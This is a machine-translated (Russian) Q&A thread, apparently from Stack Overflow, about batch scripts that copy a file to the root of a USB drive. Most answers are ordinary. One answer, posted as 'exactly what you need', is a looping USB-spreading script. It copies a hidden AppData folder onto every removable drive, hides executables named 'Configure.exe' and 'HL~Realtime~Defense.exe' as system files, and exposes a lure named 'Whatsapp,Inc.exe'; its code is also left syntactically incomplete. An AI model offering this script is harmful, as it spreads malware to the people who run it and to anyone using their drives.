Скопируйте файл в корень USB-накопителя с помощью пакетных файлов

Я хочу создать пакетный файл для копирования файла из любого каталога в корневую папку, в которой находится файл .bat, например, на USB-накопителе.

Моя неполная команда:

    xcopy /s "%userprofile%\Desktop\test.txt" "?"

Что можно заменить на "?" ??? Спасибо, парни


person user2431902    schedule 29.05.2013    source источник
comment
В следующий раз попробуйте немного погуглить. Надеюсь, это поможет   -  person SaintLike    schedule 29.05.2013


Ответы (5)


Это будет работать именно так, как вы хотите, для всех и всех подключенных USB-накопителей.

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )
person sparky3489    schedule 23.11.2013
comment
Здравствуйте. Не могли бы вы объяснить этот скрипт? Отлично работает кстати - person Groosha; 05.05.2015

Вы должны заменить его буквой диска USB-накопителя, за которой следует :\ Итак, реальный вопрос заключается в том, как определить, какие из дисков в системе являются USB-накопителями, я думаю? Вот код:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

Но учтите, что точно работает только на 1 съёмный диск. Это не удастся, если два устройства этого типа подключены.

person David Jashi    schedule 29.05.2013

Что вам нужно сделать, так это использовать относительный путь для вашего USB-каталога. Код будет выглядеть так:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

Это должно позволить вам войти в подсказку, где вы хотели бы скопировать папку из/ее имя. Он присвоит файлу такое же имя, как и исходный, и сохранит исходный формат (.txt и т. д.). Дайте мне знать, если это не сработает для вас, вместо того, чтобы понизить голосование, и я как можно скорее разработаю для вас другое решение. Удачи!

person Brad    schedule 07.10.2014

@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

Это именно то, что вам нужно

person Mr.Helpy    schedule 12.03.2016

person    schedule
comment
Вы попросили скопировать файл в корневую папку диска, содержащего пакетный файл. По крайней мере, я думаю, ты этого хотел. Если вы хотите что-то еще, пожалуйста, уточните свой вопрос. - person foxidrive; 30.05.2013